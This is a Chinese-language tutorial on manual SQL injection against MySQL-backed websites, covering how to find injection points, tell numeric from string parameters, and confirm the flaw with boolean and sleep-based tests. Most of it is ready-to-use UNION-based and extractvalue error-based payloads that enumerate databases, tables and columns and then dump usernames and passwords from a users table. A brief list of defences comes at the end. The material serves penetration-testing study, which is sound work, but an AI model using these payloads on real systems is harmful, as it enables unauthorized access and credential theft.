sql注入实际操作
1.sql注入的危害
1.数据的操作,数据增删改查
2.绕过登录验证,万能密码
3.文件操作,如将查询的信息保存到文件里
4.系统命令执行
5.注册表操作
2.测试流程
1.流程图
2.流程细节
1.找疑似注入点--找数据输入的地方
2.判断注入点 找输入点中与数据库有交互的地方
3.确认注入存在 确认与数据库有交互的地方是否存在sql注入
4.选择攻击目标 选择攻击后需要达到的目的
5.根据选择的攻击目标构造sql语句
6.提交sql语句
7.判断网页响应是否与目标一致
1.后端语言对输入的sql语句有限制,考虑重构sql语句
2.选择的目标在当前网站不具备成功注入的条件,考虑重新选择目标
8.响应符合预期,则完成注入
3.判断sql注入是否存在
1.核心
构造恶意的sql语句并提交,若页面显示信息与预期符合一致则存在sql注入。
2.流程
1.判断注入的类型 方便数据的输入,如果是字符型将会考虑闭合
1.判断是不是数字类型
1.利用四则运算,构造id=2-1提交后页面响应与id=1的页面响应一致,说明是数 字型
2.如果页面有详细的数据库原始报错信息,根据数据库报错也可分析
3.根据功能点默认的数据输入也可以判定
4.根据工作经验,如果发现注入点是输入ID值、学号、工号等很大程度上是数字
2.判断是不是字符型
整体流程
1.不是数字型就是字符型
2.如果页面有详细的数据库原始报错信息,根据数据库报错也可分析
具体流程
在输入点中直接输入单引号、双引号
1.有原始报错信息
mysql数据库展示错误产生的位置会放置到一对单引号中
分析时需要将最外层的单引号去掉剩下的就是出错位置:‘2’’ LIMIT 0,1
从出错位置上来看可判断出注入的类型,如果是字符型还可以判断出字符的表现方式。
2.没有原始报错信息
1.没有原始报错信息有可能是由于输入的引号与表示字符串的引号不匹配所导致的,所以要换引号
2.后端脚本语言并未直接输出原始报错信息
1. 如果输入的引号使页面显示异常也可判断出字符的表示方式,需要进一步确认如果加入注释后能闭合则可以证明表示字符的方式
2. 无论如何输入,页面都没有任何异常,就采用延时。
2. 闭合
#、–+、;%00、or '1
3. 判断漏洞是否存在
- 核心
- 逻辑语句
构造逻辑语句,输入后页面的响应与预期保持一致。若逻辑为真页面正常显示, 逻辑为假页面显示异常,则说明漏洞存在。
4. 回显注入流程
1. 核心
and 1=1
and 1=2
1.利用延时函数,页面响应时间的延时时间符合sleep(3)预设的时间也可以证明漏洞存在
and sleep(3)
利用union进行联合查询,将数据库中的数据在页面上显示出来
union的特点连接两个查询语句,将两个查询语句的结果放到同一个结果集中。结果集的列名 是第一个查询语句的列名
1.两个查询语句的列数相同
2.两个查询语句对应列的数据类型相似。
2.流程
1.找注入点
2.确认注入的类型以及漏洞是否存在
3.判断原始查询的列数
order by N 配合二分法快速定位列数
4.原始查询语句置空
5.判断回显
2’ union select 1,2,3,4,5,N
6.找数据库名
1.找当前数据库名
union select 1,2,database()
2.找所有数据库名
mysql5.0以上存在information_schema数据库
1.有information_schema
0' union select 1,2,group_concat(schema_name) from information_schema.schemata
2.无 information_schema
暴力破解
7.找表
1.找当前数据库的表
1.0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='当前数据库库名'
0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
2.找所有数据库的表
0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='其他数据库库名'
8.找列
1.找当前数据表中列
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
2.找所有列
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库1' and table_name='库1 中的表1'
9.获取数据
0' union select 1,2,group_concat(id,'~',username,'~',password) from users
5.报错注入流程
1.原理
网站在开发过程中,程序员调试代码功能选择将数据库的原始报错信息在页面上直接输出。攻 击者选择利用一些函数,故意让函数报错,是数据库中的数据在原始报错信息中进行输出,从 而引起数据的泄露。
2.测试流程
1.找疑似注入点
2.判断注入点
3.判断诸注入是否存在
4.判断有没有原始报错信息存在
1.页面直接展示
2.日志文件中,且日志在网站根目录内。
5.获取当前用户名
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
6.获取数据库
1.获取当前数据库
and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
2.获取所有数据库
and (extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata),0x7e)))
7.获取表的信息
and (extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),1,31) from information_schema.tables where table_schema=database()),0x7e)))
8.获取所有的列
and (extractvalue(1,concat(0x7e,(select substr(group_concat(column_name),1,31) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)))
9.获取值
获取所有的列
and (extractvalue(1,concat(0x7e,(select substr(group_concat(id,username,password),1,31) from users),0x7e)))
3.防御
1.过滤
2.PDO
3.预编译
4.原始报错信息不得出现与网站页面上,且原始报错信息不能出现在网站根目录中的任何 文件中。